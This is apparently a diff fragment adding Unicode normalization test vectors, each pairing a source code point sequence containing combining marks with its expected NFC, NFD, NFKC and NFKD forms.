+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10EAB, 0x0062], NFC: [0x00E0, 0x05AE, 0x10EAB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10EAB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10EAB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10EAB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10EAB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10EAB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10EAB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10EAB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10EAB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10EAC, 0x0062], NFC: [0x00E0, 0x05AE, 0x10EAC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10EAC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10EAC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10EAC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10EAC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10EAC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10EAC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10EAC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10EAC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10EFD, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10EFD, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10EFD, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10EFD, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10EFD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10EFD, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10EFD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10EFD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10EFD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10EFD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10EFE, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10EFE, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10EFE, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10EFE, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10EFE, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10EFE, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10EFE, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10EFE, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10EFE, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10EFE, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10EFF, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10EFF, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10EFF, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10EFF, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10EFF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10EFF, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10EFF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10EFF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10EFF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10EFF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10F46, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10F46, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10F46, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10F46, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10F46, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F46, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10F46, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10F46, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10F46, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10F46, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10F47, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10F47, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10F47, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10F47, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10F47, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F47, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10F47, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10F47, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10F47, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10F47, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10F48, 0x0062], NFC: [0x00E0, 0x05AE, 0x10F48, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10F48, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10F48, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10F48, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10F48, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10F48, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10F48, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10F48, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10F48, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10F49, 0x0062], NFC: [0x00E0, 0x05AE, 0x10F49, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10F49, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10F49, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10F49, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10F49, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10F49, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10F49, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10F49, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10F49, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10F4A, 0x0062], NFC: [0x00E0, 0x05AE, 0x10F4A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10F4A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10F4A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10F4A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10F4A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10F4A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10F4A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10F4A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10F4A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10F4B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10F4B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10F4B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10F4B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10F4B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F4B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10F4B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10F4B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10F4B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10F4B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10F4C, 0x0062], NFC: [0x00E0, 0x05AE, 0x10F4C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10F4C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10F4C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10F4C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10F4C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10F4C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10F4C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10F4C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10F4C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10F4D, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10F4D, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10F4D, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10F4D, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10F4D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F4D, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10F4D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10F4D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10F4D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10F4D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10F4E, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10F4E, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10F4E, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10F4E, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10F4E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F4E, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10F4E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10F4E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10F4E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10F4E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10F4F, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10F4F, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10F4F, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10F4F, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10F4F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F4F, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10F4F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10F4F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10F4F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10F4F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10F50, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10F50, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10F50, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10F50, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10F50, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F50, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10F50, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10F50, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10F50, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10F50, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10F82, 0x0062], NFC: [0x00E0, 0x05AE, 0x10F82, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10F82, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10F82, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10F82, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10F82, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10F82, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10F82, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10F82, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10F82, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10F83, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10F83, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10F83, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10F83, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10F83, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F83, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10F83, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10F83, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10F83, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10F83, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10F84, 0x0062], NFC: [0x00E0, 0x05AE, 0x10F84, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10F84, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10F84, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10F84, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10F84, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10F84, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10F84, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10F84, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10F84, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x10F85, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x10F85, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x10F85, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x10F85, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x10F85, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F85, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x10F85, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x10F85, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x10F85, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x10F85, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11046, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11046, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11070, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11070, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11070, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11070, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11070, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11070, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11070, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11070, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11070, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11070, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1107F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1107F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x110B9, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x110B9, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x110BA, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x110BA, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x110BA, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x110BA, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x110BA, 0x3099, 0x0062] },
+{ source: [0x0061, 0x110BA, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x110BA, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x110BA, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x110BA, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x110BA, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11100, 0x0062], NFC: [0x00E0, 0x05AE, 0x11100, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11100, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11100, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11100, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11100, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11101, 0x0062], NFC: [0x00E0, 0x05AE, 0x11101, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11101, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11101, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11101, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11101, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11102, 0x0062], NFC: [0x00E0, 0x05AE, 0x11102, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11102, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11102, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11102, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11102, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11133, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11133, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11134, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11134, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x11173, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x11173, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x11173, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x11173, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x11173, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11173, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x11173, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x11173, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x11173, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x11173, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x111C0, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x111C0, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x111CA, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x111CA, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x111CA, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x111CA, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x111CA, 0x3099, 0x0062] },
+{ source: [0x0061, 0x111CA, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x111CA, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x111CA, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x111CA, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x111CA, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11235, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11235, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x11236, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x11236, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x11236, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x11236, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x11236, 0x3099, 0x0062] },
